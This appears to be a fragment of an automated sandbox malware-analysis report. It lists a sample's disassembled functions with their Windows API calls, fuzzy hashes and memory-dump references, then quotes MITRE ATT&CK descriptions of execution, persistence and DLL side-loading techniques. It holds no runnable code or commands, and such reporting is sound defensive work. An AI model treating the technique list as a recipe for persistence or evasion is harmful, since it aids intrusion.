Instruction Fuzzy Hash: 8FF05E30500741ABEB315B69C808B1A7AD9EF00322B8846E0FC69F35E0DF30DC8AC661

Function 00B4B210 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 445
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x, xrefs: 00B4B910

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: ComputerName
String ID: x
API String ID: 3545744682-2363233923
Opcode ID: cf9f64caefba7e4e91b5b3311190109a51f304e72db7b213e87aacd7a90ffe28
Instruction ID: 6d2e05a6515cf4c98209e05d53528540f350c71818b5466f92c0188d57455e25
Opcode Fuzzy Hash: cf9f64caefba7e4e91b5b3311190109a51f304e72db7b213e87aacd7a90ffe28
Instruction Fuzzy Hash: 3C129C70C002588BDB28CF28DC85BEDBBB1BF55304F1482D9E549A7792EB749B84AF51

Function 00B45810 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00B4583A

Part of subcall function 00B4FD66: FindNextFileW.KERNELBASE(?,?,?,00B459F5,?,7980E21C,?,?,7980E21C,?,?,?,7980E21C,?), ref: 00B4FD6F

Strings

., xrefs: 00B45848

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: FileFindNext___std_fs_directory_iterator_advance@8
String ID: .
API String ID: 3878998205-248832578
Opcode ID: c2102ad1af6a2833cc59febbacab4a4eb210ed2c59e8c31322c090f0be114541
Instruction ID: ceedf54a2fc31314ba042e5d91df3a6e5269f54568484dcc3e36e8d3f3bc43bb
Opcode Fuzzy Hash: c2102ad1af6a2833cc59febbacab4a4eb210ed2c59e8c31322c090f0be114541
Instruction Fuzzy Hash: C4219034A01E148BCB309F69D8047AEB7F4EF48321F5446DAD84A97291EF70AE85DB84

Function 00B458E0 Relevance: 3.2, APIs: 2, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_fs_directory_iterator_open@12.LIBCPMT ref: 00B459C2
___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00B459F0

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: ___std_fs_directory_iterator_advance@8___std_fs_directory_iterator_open@12
String ID:
API String ID: 3016148460-0
Opcode ID: 2508170108d4644409200612949da4e44ab8880a8f9efaad0b218bc9aed3b0b1
Instruction ID: 4f135485e1373c4d8a48a7f5e2f33b605bc53e94b9af38b37fb4b45dc592c67b
Opcode Fuzzy Hash: 2508170108d4644409200612949da4e44ab8880a8f9efaad0b218bc9aed3b0b1
Instruction Fuzzy Hash: 2451B472D00A199BCF24DF58C8C4BAEB7F4EF44710F1446A9E855A7682D730AF44EB91

Function 00B587F9 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00B7C3E0,0000000C), ref: 00B5880C
ExitThread.KERNEL32 ref: 00B58813

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 8bbecaf5754512015999d33bb8e46a5bc38e8180129f136d1cd9a626c5ee33ff
Instruction ID: d0b3f00cf1411cda6351d4f206af5c4cf95940aa671e55fabe7339b474c4de89
Opcode Fuzzy Hash: 8bbecaf5754512015999d33bb8e46a5bc38e8180129f136d1cd9a626c5ee33ff
Instruction Fuzzy Hash: 34F0C270900208AFEB00AF70C80AB6E7BB1FF01312F1045E9F805AB2A2CF355984CFA1

Function 00B5FC10 Relevance: 2.6, APIs: 2, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00B5881E,00B7C3E0,0000000C), ref: 00B5FC14
SetLastError.KERNEL32(00000000), ref: 00B5FCB6

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: b87feb6b3cab307d8677402df4deed5f114e14dae720f84806e3e337769c08d3
Instruction ID: 7a1fef807846ddef37877bcaa93f8aa6d3214da0f6633a482ae6126d6585b5b2
Opcode Fuzzy Hash: b87feb6b3cab307d8677402df4deed5f114e14dae720f84806e3e337769c08d3
Instruction Fuzzy Hash: 2111A73120860B2AE65027B45DC9F3661DCDF003AA71009F4FD29A21E2DE54CC599110

Function 00B4A500 Relevance: 1.7, APIs: 1, Instructions: 170COMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32(?), ref: 00B4A570

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 41a8d1c19183346af0e26414c8247f96661ddb60e1294039b895b58091527618
Instruction ID: 21f2e394973ddaddf1a24a169197eb1d9c6c4ad8cfe36268ac71c359275fbba6
Opcode Fuzzy Hash: 41a8d1c19183346af0e26414c8247f96661ddb60e1294039b895b58091527618
Instruction Fuzzy Hash: 3D7147B08006688BDB29CF28CC857EAB7B0FF49314F1482D9D859AB751DB316B85CF81

Function 00B6277E Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97408b8c3da35914818b3a8feb694cf50a81a7efd87ce910227c9f6db84d72f2
Instruction ID: 9684bea6829d4783c55459c538618abcfb6cfdec704984263c3674328eb99cfa
Opcode Fuzzy Hash: 97408b8c3da35914818b3a8feb694cf50a81a7efd87ce910227c9f6db84d72f2
Instruction Fuzzy Hash: F501D4376146159FAB168F68EC81E7633E6FBC832472441A5FA18DB1A8EE34DC40DB91

Function 00B4EEE0 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00B4EF69

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: d6509d356cc97f75d30a41d9cee4aae876d003203f68ffc16aa3d921c730fc1f
Instruction ID: ded3a489db7acdb01fe24ff2d46e06d5cdef98da053cc3c15ac69119cc0b9d1d
Opcode Fuzzy Hash: d6509d356cc97f75d30a41d9cee4aae876d003203f68ffc16aa3d921c730fc1f
Instruction Fuzzy Hash: AE019671A44305ABD7149F58CC06B5AB7F4FB44B10F1005AEF915AB3C0EBB4A90487A4

Function 00B515C0 Relevance: 1.6, APIs: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00B414DE

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 931d74dc0b6373e0bb1939db1a42505e89c7d62b13ef074627b499ec7303e0fc
Instruction ID: c1160b1040eadeef5110d9658043f4807bbc5981feb3de3c64126362612be322
Opcode Fuzzy Hash: 931d74dc0b6373e0bb1939db1a42505e89c7d62b13ef074627b499ec7303e0fc
Instruction Fuzzy Hash: 86014E3680030D67CB14AFA9EC41B4977ECDF11365B1086E5FD189B551FB70E69887D4

Function 00B6247C Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,00B5FC5D,00000001,00000364,?,00000006,000000FF,?,00B5881E,00B7C3E0,0000000C), ref: 00B624BD

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: dddceb36c3b3a24ef6faa34a2517784da63c05f3107a163f93de3276c941d8c4
Instruction ID: a3e66933aa23c27e2abba4169b456e758ca82a001714c5a2e20aa52c6ad3320d
Opcode Fuzzy Hash: dddceb36c3b3a24ef6faa34a2517784da63c05f3107a163f93de3276c941d8c4
Instruction Fuzzy Hash: DEF0E931601A25BBFB251B269C05B6A77C9EF407B1B14C0D1EE0CAB394CE29DC00C6F0

Function 00B58905 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 00B6247C: RtlAllocateHeap.NTDLL(00000008,?,?,?,00B5FC5D,00000001,00000364,?,00000006,000000FF,?,00B5881E,00B7C3E0,0000000C), ref: 00B624BD

Part of subcall function 00B60082: HeapFree.KERNEL32(00000000,00000000,?,00B68DC6,?,00000000,?,?,00B69067,?,00000007,?,?,00B6955B,?,?), ref: 00B60098
Part of subcall function 00B60082: GetLastError.KERNEL32(?,?,00B68DC6,?,00000000,?,?,00B69067,?,00000007,?,?,00B6955B,?,?), ref: 00B600A3

GetModuleHandleExW.KERNEL32(00000004,00000000,0000000C,00000000,00000000,?), ref: 00B5893C

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: Heap$AllocateErrorFreeHandleLastModule
String ID:
API String ID: 982861180-0
Opcode ID: 3d4b755308d50cc6dd6175d570c405a08178227e39ac0df268701d9389a20875
Instruction ID: ead0b525b5168f8ddb217b5f4d447805f65400a396d4bf0fa25c0a8dbdce4966
Opcode Fuzzy Hash: 3d4b755308d50cc6dd6175d570c405a08178227e39ac0df268701d9389a20875
Instruction Fuzzy Hash: 66F054B6900218BBD710AF56DC06E9BBBE8EBC4760F014059FE4997391DA709E04C6A0

Function 00B600BC Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00000003,00B5FCCA), ref: 00B600EE

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f2828ce928beebcf45f7faa59ce5f8074722e123594f71b2837806460e65bbaf
Instruction ID: 984840cd5542a0c356fac10676129ce594ba3d3cf472f07693692ef69fe57c98
Opcode Fuzzy Hash: f2828ce928beebcf45f7faa59ce5f8074722e123594f71b2837806460e65bbaf
Instruction Fuzzy Hash: A6E0E5311602199AD63137239C01B5F36C8DF523A2F2000E1EC0EA6190CE58CC0082E0

Non-executed Functions

Function 00B501D4 Relevance: 13.7, APIs: 9, Instructions: 159COMMON

Download Yara Rule

APIs

___std_fs_open_handle@16.LIBCPMT ref: 00B501FE

Part of subcall function 00B500E2: CreateFileW.KERNEL32(?,?,00000007,00000000,00000003,00000080,00000000,000000FF,?,00B4FFF1,?,000000FF,00000080,?), ref: 00B500F7
Part of subcall function 00B500E2: GetLastError.KERNEL32(?,00B4FFF1,?,000000FF,00000080,?), ref: 00B50107

___std_fs_open_handle@16.LIBCPMT ref: 00B50227
SetFileInformationByHandle.KERNEL32(?,00000015,?,00000004,?,00000000,00010000,02200000,?,00000000,00010180,02200000,00000000,00000000), ref: 00B50250
GetLastError.KERNEL32 ref: 00B50267
GetFileInformationByHandleEx.KERNEL32(?,00000000,?,00000028,?), ref: 00B502A9
GetLastError.KERNEL32 ref: 00B502B6

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: ErrorFileLast$HandleInformation___std_fs_open_handle@16$Create
String ID:
API String ID: 2340841425-0
Opcode ID: a3bab5333a1ec95bb3a5943bd3fdf6abe2cc4e0dfc3239f0b86124d3bfea0b60
Instruction ID: a11a0cdf83bdd9c83f48a19cd2a15878322f73bc5a3859782f8bc991588ed433
Opcode Fuzzy Hash: a3bab5333a1ec95bb3a5943bd3fdf6abe2cc4e0dfc3239f0b86124d3bfea0b60
Instruction Fuzzy Hash: 5A41F931A55209ABDB21BBB89C89BBE77F8EB19746F1440E8FD01E7250DA60CE0D8714

Function 00B510E2 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00B510E8
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00B510F6
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00B51107

Strings

kernel32.dll, xrefs: 00B510E3
GetTempPath2W, xrefs: 00B510FC
GetSystemTimePreciseAsFileTime, xrefs: 00B510F0

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: fdfb2249bef9427464f23a4d4ae1318fea3a485258f91db70995fa9b24b9158a
Instruction ID: d54e16600e45c10e2e14b46cb239a12c45ab3566e3ae355484af8324a92adbdc
Opcode Fuzzy Hash: fdfb2249bef9427464f23a4d4ae1318fea3a485258f91db70995fa9b24b9158a
Instruction Fuzzy Hash: 0AD09231785220AB9301AB74FD0E8963AE8FA1971274189B1F65DE3671DE7446808AA5

Function 00B5D0A7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,7980E21C,?,?,00000000,00B70840,000000FF,?,00B5D083,00000002,?,00B5D057,00B5ADEC), ref: 00B5D0DC
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00B5D0EE
FreeLibrary.KERNEL32(00000000,?,?,00000000,00B70840,000000FF,?,00B5D083,00000002,?,00B5D057,00B5ADEC), ref: 00B5D110

Strings

CorExitProcess, xrefs: 00B5D0E6
mscoree.dll, xrefs: 00B5D0D5

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a3c16e4e8ea7d86a4557570aa52720d3c397c5dd1a18a04b65f233fb117c1453
Instruction ID: a5b63c715ef385ca4560a84f01a77f31b7051ec5c6330a6d1c33ce7c8c469545
Opcode Fuzzy Hash: a3c16e4e8ea7d86a4557570aa52720d3c397c5dd1a18a04b65f233fb117c1453
Instruction Fuzzy Hash: BA01A735900A15ABDB129F50CC09BAEBBF8FB04B11F040665F826B36E0DBB49940CA90

Function 00B4F0B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B4F122
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00B4F18D
std::_Lockit::~_Lockit.LIBCPMT ref: 00B4F222

Strings

bad locale name, xrefs: 00B4F23E

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3553999535-1405518554
Opcode ID: d48759556e7c73e958452eeba8d41ee991fbebb1092d69002b74747ee0b8a303
Instruction ID: c11cf6e9216007d84ddd358775409b1d2abfdc7b7c7543e0af53bf338d62a969
Opcode Fuzzy Hash: d48759556e7c73e958452eeba8d41ee991fbebb1092d69002b74747ee0b8a303
Instruction Fuzzy Hash: EA411AB1D002499BEF10DFA4D945B9EBBF8EF18314F1441A9EC04B7281E779DA08DBA1

Function 00B551A7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00B551CC

Strings

RCC, xrefs: 00B551E6
MOC, xrefs: 00B551DE

Memory Dump Source

Source File: 0000000B.00000002.2932676473.0000000000B41000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B40000, based on PE: true

Associated: 0000000B.00000002.2930652626.0000000000B40000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2935961945.0000000000B72000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936453518.0000000000B7E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2936477161.0000000000B81000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b40000_xHdN9si8LjqmZs2y.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 31fd8810007c0201bdcefe5c02851d8d5bf2cecd2098f5f20933e85498887a38
Instruction ID: ecc375607418615feab8eb674729cdc53616bfbe3fc4b8fddffc4ac111be7540
Opcode Fuzzy Hash: 31fd8810007c0201bdcefe5c02851d8d5bf2cecd2098f5f20933e85498887a38
Instruction Fuzzy Hash: 3F415471900609AFDF25DF98CC81BEEBBB5EF48306F1440D8FA0466221D3369955DB50

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
